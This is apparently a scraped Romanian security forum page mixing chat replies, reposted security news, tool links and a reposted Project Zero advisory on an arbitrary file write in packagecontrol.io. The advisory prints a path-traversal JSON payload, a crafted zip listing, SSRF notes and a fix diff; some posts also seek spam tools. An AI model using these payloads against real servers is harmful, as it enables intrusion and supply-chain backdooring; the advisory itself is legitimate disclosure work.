Kev

Martie,, Aprilie, Decembrie? ce mai e? Posteaza in market

^Thanks for your reply Pentru https://crowdo.net are cineva un feedback? testat. Merita?

Salut Un link officialde unde pot descarca Xrumer, sau alte programe similare cu sau fara plata PS: blog comment posting (sunt blogurile mele) Multumesc

te mănâncă si nu stii cum sa te scarpini

The researchers who discovered the bug have earned themselves $200,000. A zero-day vulnerability in Zoom which can be used to launch remote code execution (RCE) attacks has been disclosed by researchers. Pwn2Own, organized by the Zero Day Initiative, is a contest for white-hat cybersecurity professionals and teams to compete in the discovery of bugs in popular software and services. The latest competition included 23 entries, competing in different categories including web browsers, virtualization software, servers, enterprise communication, and local escalation of privilege. For successful entrants, the financial rewards can be high -- and in this case, Daan Keuper and Thijs Alkemade earned themselves $200,000 for their Zoom discovery. The researchers from Computest demonstrated a three-bug attack chain that caused an RCE on a target machine, and all without any form of user interaction. As Zoom has not yet had time to patch the critical security issue, the specific technical details of the vulnerability are being kept under wraps. However, an animation of the attack in action demonstrates how an attacker was able to open the calculator program of a machine running Zoom following its exploit. As noted by Malwarebytes, the attack works on both Windows and Mac versions of Zoom, but it has not -- yet -- been tested on iOS or Android. The browser version of the videoconferencing software is not impacted. In a statement to Tom's Guide, Zoom thanked the Computest researchers and said the company was "working to mitigate this issue with respect to Zoom Chat." In-session Zoom Meetings and Zoom Video Webinars are not affected. Vendors have a 90-day window, which is standard practice in vulnerability disclosure programs, to resolve the security issues found. End-users just need to wait for a patch to be issued -- but if worried, they can use the browser version in the meantime. Other successful attacks of note during the content include: Apple Safari: Jack Dates, kernel-level code execution, $100,000 Microsoft Exchange: DEVCORE, complete server takeover, $200,000 Microsoft Teams: OV, code execution, $200,000 Ubuntu Desktop: Ryota Shiga, standard user to root, $30,000 Via zdnet.com

📜 Hover over a variable to view its documentation ➡️ Click on a variable to jump to its definition 🧠 Understands all language constructs (local variables, functions, etc.) ⤴️ Works on pull requests ⚡️ Lightning fast 📝 Works on Java and Go code (more languages coming) Download codewing-master.zip or git clone https://github.com/codewing-dev/codewing.git Sources: github.com https://codewing.dev/

Fake job offers lure professionals into downloading the more_eggs backdoor trojan. A threat group called Golden Chickens is delivering the fileless backdoor more_eggs through a spear-phishing campaign targeting professionals on LinkedIn with fake job offers, according to researchers at eSentire. The phishing emails try to trick a victim into clicking on a malicious .ZIP file by picking up the victim’s current job title and adding the word “position” at the end, making it appear like a legitimate offer. Once downloaded, more_eggs can fetch additional malware and provide access to the victim’s system, the report said. The Golden Chickens group is also selling more_eggs as malware-as-a-service to other cybercriminals, who use it to gain a foothold in victim’s systems to install other types of malware, including banking malware, credential stealers and ransomware, or just to exfiltrate data, eSentire reported. More_Eggs Malware: A ‘Formidable Threat’ Rob McLeod, eSentire’s Threat Response Unit director ,highlighted three specific aspects of the more_eggs trojan that make it what he described as a “formidable threat to business and business professionals.” First, it abuses normal Windows processes to avoid antivirus protections. Second, McLeod pointed out the personalized spear phishing emails are effective in enticing victims to click on the fake job offer. What’s perhaps most pernicious is that the malware exploits job hunters desperate to find employment in the midst of a global pandemic and skyrocketing unemployment rates, he added. While eSentire hasn’t been able to pinpoint the group behind more_eggs, researchers have observed the groups FIN6, Cobalt Group and Evilnum have each used the more_eggs malware as a service for their own purposes. More_Eggs Malware-As-A-Service The financial threat gang FIN6 used the more_eggs malware to target various e-commerce companies back in 2019. At the same time, attackers used more_eggs to breach retail, entertainment and pharmaceutical companies’ online payments systems, which reSentire esearchers haven’t definitively linked to FIN6, but are suspected to be linked. Other groups have used the malware too. Evilnum likes to attack financial tech companies, according to eSentire, to steal spreadsheets, customer lists and trading credentials, while Cobalt Group is usually focused on attacking financial companies with the more_eggs backdoor. Rather than attack someone who is unemployed, experts agree that the goal of the campaign is likely to attack people who are employed and have access to sensitive data. How to Avoid Being a LinkedIn Victim The motivation for the attacks is unclear, researchers said. In the report, eSentire follows the more_eggs LinkedIn attack on someone in the health care technology sector. Chris Hazelton with mobile security provider Lookout told Morales added that to avoid compromise, all users on LinkedIn should be on the lookout for spear-phishing scams. Via threatpost.com

Wormhole lets you share files with end-to-end encryption and a link that automatically expires. So you can keep what you share private and make sure your stuff doesn't stay online forever. Link: https://wormhole.app/ Source

https://zennolab.com

passwdqc is a password/passphrase strength checking and policy enforcement toolset, including an optional PAM module (pam_passwdqc), command-line programs (pwqcheck, pwqfilter, and pwqgen), and a library (libpasswdqc). On systems with PAM, pam_passwdqc is normally invoked on password changes by programs such as passwd(1). It is capable of checking password or passphrase strength, enforcing a policy, and offering randomly-generated passphrases, with all of these features being optional and easily (re-)configurable. pwqcheck and pwqgen are standalone password/passphrase strength checking and random passphrase generator programs, respectively, which are usable from scripts. The pwqfilter program searches, creates, or updates binary passphrase filter files, which can also be used with pwqcheck and pam_passwdqc. libpasswdqc is the underlying library, which can also be used from third-party programs. You can view the latest INSTALL, README, PLATFORMS, CHANGES, and LICENSE files (which are also included in the archives below), as well as screenshots demonstrating the uses and setup of passwdqc on Openwall GNU/*/Linux. There's a wiki page with detailed Solaris-specific instructions and another one with password strength policy considerations (a must read before you possibly override passwdqc's defaults). There's also a tutorial on using the pwqcheck program from PHP scripts. Download (release notes, previous release notes passwdqc 2.0.1 and its signature This includes all components mentioned above. pam_passwdqc 1.0.5 and its signature The final version of pam_passwdqc only, from just before we turned it into passwdqc. This older package does not include nor require libpasswdqc. If applicable, consider passwdqc for Windows Source

@EAdrian , @adicode , @Gecko , @MrGrj

Bun, deci am urmatorul cod Login.php: Incerc sa protejez index.html. Unde gresesesc? Linia 40 Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/hosting/Login.php on line 40 Edit:/ am modificat " Linia 65: Parse error: syntax error, unexpected $end in /home/hosting/Login.php on line 65 Thanks

Facebook has removed a group of China-based hackers it says targeted members of the Uighur community living abroad. It said hackers used malicious websites and apps to infect devices and allow for remote surveillance, with journalists and activists targeted. A majority of the cyber attacks didn't happen directly on Facebook but used the social media platform to share links to infected sites. This is not the first time hackers have been accused of such activity. The Uighurs are originally from the north-western region of Xinjiang in China and those targeted are currently living in places including Turkey, the United States, Australia and Canada. Facebook said it removed accounts - which totalled fewer than 100 - it found to have been created by the hackers, a group known as Earth Empusa or Evil Eye. It believes fewer than 500 accounts were targeted. Facebook says some of the ways the group infected devices included: creating fake Uighur-themed apps for the Android app store, including a prayer app and a dictionary app posing on Facebook as journalists, students, human rights advocates or members of the Uighur community, building trust and tricking them into clicking on malicious links creating look-alike websites for popular Uighur and Turkish news websites The Chinese Embassy in Washington has yet to comment. China is facing mounting criticism from around the world over its treatment of the mostly Muslim Uighur population in Xinjiang. Rights groups believe China has detained more than a million Uighurs over the past few years. China denies allegations of abuse, saying camps in the region are "re-education" facilities used to combat terrorism. Via bbc.com

Multumesc pentru raspuns. Cu cine am discutat a vorbit despre Code Snippets, vom face un tutorial si il vom posta aici.

Contribui pe partea hardware (am ceva piese noi, ramase pe stoc)

Concret te ajut eu, "blackfriday bot Wav3" Succes!

Privacy. Are we there yet? No, but there's some progress at least When version 90 of Google's Chrome browser arrives in mid-April, initial website visits will default to a secure HTTPS connection in the event the user has failed to specify a preferred URI scheme. Lack of security is currently the norm in Chrome. As Google Chrome software engineers Shweta Panditrao and Mustafa Emre Acer explain in a blog post, when a user types "www.example.com" into Chrome's omnibox, without either an "http://" or "https:// prefix," Chrome chooses "http://." The same is true in other browsers like Brave, Edge, Mozilla, and Safari. This made sense in the past when most websites had not implemented support for HTTPS. It was only in 2018 that the majority of websites redirected traffic to HTTPS. But these days, most of the web pages loaded rely on secure transport (ranging from about 98 per cent on Chrome to about 77 per cent on Linux). And among the top 100 websites, 97 of them currently default to HTTPS. Previously, only websites that declared they should be loaded securely with an entry on an HTTP Strict Transport Security (HSTS) preload list – supported in multiple browsers – got HTTPS automatically. Chrome 90 will make HTTPS the default for first time website visits where no transport has been declared. Beyond the security and privacy benefits, say Panditrao and Acer, this will improve performance since the delay incurred by redirection from an http:// endpoint to an https:// endpoint will no longer happen. A few exceptions will persist, however. IP addresses, single label domains (eg contoso without TLD like .com), and reserved hostnames like localhost/ will still default to http://. Private like a fox In other browser-related news, Mozilla Firefox 87 debuted on Tuesday with a privacy feature called SmartBlock. Borrowing from techniques used by privacy-focused extensions NoScript and uBlock Origin (eg "stub scripts"), SmartBlock provides a way to block tracking scripts while attempting to minimize performance-affecting delays or errors that can arise from meddling with webpage code. Firefox SmartBlock can replace trackers found on the extensive Disconnect Tracking Protection List, which just for the US numbers well over a thousand. Firefox 87 also incorporates another privacy enhancement: It will limit the information contained in the referrer (misspelled but implemented as "Referer") header string by setting its default Referrer-Policy to "strict-origin-when-cross-origin." What this means is that when a Firefox user follows a link like "https://www.example.com/path?query" – where "path" and "query" represent more meaningful or sensitive information – the HTTP Referer Header that gets sent to the visited website will indicate that the visitor has arrived from "https://www.example.com" and the extra path and query data will be dropped. ® Via theregister.com

nu e singur, acum ceva ani, si-au facut selfie cu tabla in backgound U.S. Navy pe care scria parola de MySql123

Salut Pe un blog de traveling in WordPress avand instalat pe el plug-in Meow Gallery Vreau ca toate imaginile pe care le uploadez sa fie redenumite automat; ex: director: Constanta Costinesti.jpg Costinesti-01.jpg Costinesti-02.jpg Costinesti-03.jpg ... Brasov CastelulBran.jpg CastelulBran1.jpg CastelulBran2.jpg CastelulBran3.jpg ... Ce trebuie sa completez in campul Advanced Custom Fields? Multumesc anticipat

Joaca-te in continuare

Bun venit! S N-auzi Nickname Ioutzi e putulica mica nu te impacienta

grep Edit: Cu placere https://www.digitalocean.com/community/tutorials/using-grep-regular-expressions-to-search-for-text-patterns-in-linux

Subscribe: aveti sursele puse in ToS Edit: Cu alte cuvinte :sunteti pe propria raspundere: ce balarii gasiti prin trash

Package Control suffers from an arbitrary file write vulnerability. Package Control: Arbitrary File Write on packagecontrol.io Package Control is a popular package manager for Sublime Text with over 19.77M users and around 65k daily package installs. packagecontrol.io is its main website and hosts the default channel (https://packagecontrol.io/channel_v3.json) used for installing and updating packages. packagecontrol.io supports validation of Package Control's Repository JSON format via the packagecontrol.io/test_repo endpoint. This endpoint passes the (JSON-decoded) POST body directly to the run_tests function defined in app/lib/run_repo_tests.py (https://github.com/wbond/packagecontrol.io/blob/1629533ad44cbea6258a172876f06e1bbb7db14f/app/lib/run_repo_tests.py#L69): While the overall validation logic is somewhat complex, we are only interested in the final steps where a package is downloaded and its content analyzed. Most packages are hosted on Github or Bitbucket and use branch or tag based version management, but it is still possible to manually specify a download URL by using a JSON configuration like the one shown below: { \"name\":\"test\", \"author\":\"Felix Wilhelm\", \"releases\":[ { \"version\":\"2.0.0\", \"url\":\"http://plugin-host/package.zip\", \"date\":\"2021-02-25 10:00:00\", \"sublime_text\":\"*\" } ] } For configurations like this, the validation routine downloads the package ZIP file from the user supplied URL, extracts it and runs a number of \u"file checkers\u" on the package files. This is implemented in the code snippet shown below: tmpdir = tempfile.mkdtemp() if not tmpdir: return build_result([format_report('Could not create temp dir')], []) tmp_package_path = os.path.join(tmpdir, '%s.sublime-package' % name) **A** tmp_package_dir = os.path.join(tmpdir, name) **B** os.mkdir(tmp_package_dir) with open(tmp_package_path, 'wb') as package_file, downloader(url, settings) as manager: try: package_file.write(manager.fetch(url, 'fetching package')) except DownloaderException as e: ... with zipfile.ZipFile(tmp_package_path, 'r') as package_zip: # Scan through the root level of the zip file to gather some info root_level_paths = [] last_path = None for path in package_zip.namelist(): if not isinstance(path, str): path = path.decode('utf-8', 'strict') last_path = path if path.find('/') in [len(path) - 1, -1]: root_level_paths.append(path) # Make sure there are no paths that look like security vulnerabilities if path[0] == '/' or '../' in path or '..\\\\' in path: **C** errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path)) return build_result(errors, warnings) if last_path and len(root_level_paths) == 0: root_level_paths.append(last_path[0:last_path.find('/') + 1]) # If there is only a single directory at the top level, the file # is most likely a zip from BitBucket or GitHub and we need # to skip the top-level dir when extracting skip_root_dir = len(root_level_paths) == 1 and \\ root_level_paths[0].endswith('/') for path in package_zip.namelist(): dest = path if not isinstance(dest, str): dest = dest.decode('utf-8', 'strict') # If there was only a single directory in the package, we remove # that folder name from the paths as we extract entries if skip_root_dir: dest = dest[len(root_level_paths[0]):] dest = dest.replace('\\\\', '/') **D** dest = os.path.join(tmp_package_dir, dest) dest = os.path.abspath(dest) # Make sure there are no paths that look like security vulnerabilities if not dest.startswith(tmp_package_dir): ** E ** errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path)) return build_result(errors, warnings) if path.endswith('/'): if not os.path.exists(dest): os.makedirs(dest) else: dest_dir = os.path.dirname(dest) if not os.path.exists(dest_dir): os.makedirs(dest_dir) with open(dest, 'wb') as f: f.write(package_zip.read(path)) tmp_package_dir_pathlib = pathlib.Path(tmp_package_dir) for checker in file_checkers.get_checkers(): ... The code first creates a temporary directory to store both the zip archive and the extracted content. It then downloads the zip archive and tries to extract all files while making sure that no directory traversal attacks can be used to write to locations outside of the temporary directory. However, there are multiple problems that still make such an attack possible: 1. The name variable is coming from the attacker controlled JSON file and used without any validation (A). This makes it possible to create arbitrary directories by using a directory traversal \u"../../../../tmp/test\u" or even an absolute file path \u"/tmp/test\u" as the name field of the package. Absolute paths work because os.path.join has the following feature: \u"If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.\u" (https://docs.python.org/3/library/os.path.html) 2. We can also create an arbitrary file with controlled content and the ending \u".sublime-package\u" somewhere on the file system (B). On most systems this should already be enough to get arbitrary code execution. 3. However, we can use another bug to create files with controlled content and a controlled name: While the code checks for absolute file paths and directory traversals attempts in all compressed file paths (C), it does not check for absolute file paths starting with a backslash. This is a problem, because backslashes get converted to forward slashes in (D). We can use this behavior and the os.path.join call to put an arbitrary path in the dest variable by using a file path like \u"\ mp/test\u". The final check in (E) is not a problem for an attacker as tmp_package_dir is completely attacker controlled (see 1.) Putting this together, an attacker can write arbitrary files on the packagecontrol.io host by combining a JSON payload like { \"name\":\"/tmp/test\", \"author\":\"Felix Wilhelm\", \"releases\":[ { \"version\":\"2.0.0\", \"url\":\"http://plugin-host/evil.zip\", \"date\":\"2021-02-25 10:00:00\", \"sublime_text\":\"*\" } ] } With a zip file with the following contents (see attachment) unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 10 2021-02-25 11:22 \ mp/test1234 0 2021-02-25 11:30 a/ 0 2021-02-25 11:30 b/ --------- ------- 10 3 files This will create the file /tmp/test1234 (and a directory /tmp/test) A practical attack would either try to achieve RCE by overwriting some script files or directly backdoor channel_v3.json to push malicious updates to Package Control users. Fix Suggestion: The patch below should fix the described issues in the short term. However, I think a better way to address these issues would be to move the whole validation logic (including the file checkers) into a low privileged/sandboxed context. This would reduce the risk of similar bugs popping up. diff --git a/app/lib/run_repo_tests.py b/app/lib/run_repo_tests.py index d80895a..8bfdc01 100644 --- a/app/lib/run_repo_tests.py +++ b/app/lib/run_repo_tests.py @@ -112,6 +112,10 @@ def run_tests(spec): settings = downloader_settings() name = info['name'] + if '/' in name or '\\\\' in name: + errors.append(format_report('The name \"%s\" contains invalid characters' % name)) + return build_result(errors, warnings) + tmpdir = tempfile.mkdtemp() if not tmpdir: return build_result([format_report('Could not create temp dir')], []) @@ -140,7 +144,7 @@ def run_tests(spec): if path.find('/') in [len(path) - 1, -1]: root_level_paths.append(path) # Make sure there are no paths that look like security vulnerabilities - if path[0] == '/' or '../' in path or '..\\\\' in path: + if path[0] == '/' or path[0]=='\\\\' or '../' in path or '..\\\\' in path: errors.append(format_report('The path \"%s\" appears to be attempting to access other parts of the filesystem' % path)) return build_result(errors, warnings) There is also a pretty big risk of SSRF attacks, as the download manager does not perform any validation of the url prior to fetching it. For example, an attacker could use this to send requests to the redis instance listening on localhost. This is pretty difficult to fix correctly so one idea might be to remove support for non github/bitbucket packages (and therefore attacker specified URLs) from run_repo_tests. This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2021-05-26. Disclosure at an earlier date is also possible if agreed upon by all parties. Found by: fwilhelm@google.com Download GS20210226161937.tgz (3.9 KB) Source

Pentru ambidextru/ambidextre Link: https://aposymbiont.github.io/split-keyboards/